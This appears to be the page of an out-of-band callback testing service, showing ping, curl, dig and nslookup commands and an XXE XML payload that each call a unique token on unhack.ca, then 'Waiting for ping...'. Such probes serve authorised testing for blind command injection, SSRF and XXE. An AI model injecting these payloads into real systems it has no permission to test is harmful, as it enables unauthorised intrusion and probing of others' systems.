$ ping -c1 -p 00f88fc88ed3b430baa9db1b18160900 unhack.ca
 
$ curl http://unhack.ca/p/f88fc88ed3b430baa9db1b181609
 
$ dig f88fc88ed3b430baa9db1b181609 @unhack.ca
 
$ dig f88fc88ed3b430baa9db1b181609.ns.unhack.ca
 
C:\> nslookup f88fc88ed3b430baa9db1b181609 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f88fc88ed3b430baa9db1b181609">]>
    <foo>&xxe;</foo>
Waiting for ping...